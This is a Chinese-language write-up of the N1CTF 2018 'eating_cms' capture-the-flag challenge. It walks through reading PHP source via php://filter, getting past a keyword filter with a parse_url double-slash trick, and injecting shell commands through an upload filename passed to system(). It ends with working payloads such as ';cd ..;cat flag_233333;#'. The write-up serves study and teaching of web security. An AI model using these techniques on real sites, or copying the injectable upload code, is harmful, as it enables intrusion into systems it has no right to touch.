[N1CTF 2018]eating_cms
知识点:
伪协议读取文件
parse_url 解析漏洞
其实这道题感觉很接近渗透测试,所以在此写一下过程
解题:
开局一个登录页,访问了一下register.php ,直接注册登录,
直接伪协议读取::
/user.php?page=php://filter/convert.base64-encode/resource=index
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
include "$page.php";
?>
尝试读取/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg ,发现被拦截了
但是发现代码中存在 parse_url ,所以当我们访问//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg ,会解析错误,返回 false
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
继续读取:
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
访问ip/templates/upload.html
看似上传文件,但是却是个假的
读取upllloadddd.php //user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
明显的文件名代码执行漏洞,接着就是找到真正的上传点
找到上传点/user.php?page=m4aaannngggeee
尝试切到根目录的时候,发现/ 被过滤了,使用cd ..
最后payload:
;cd ..;ls;#
;cd ..;cat flag_233333;#
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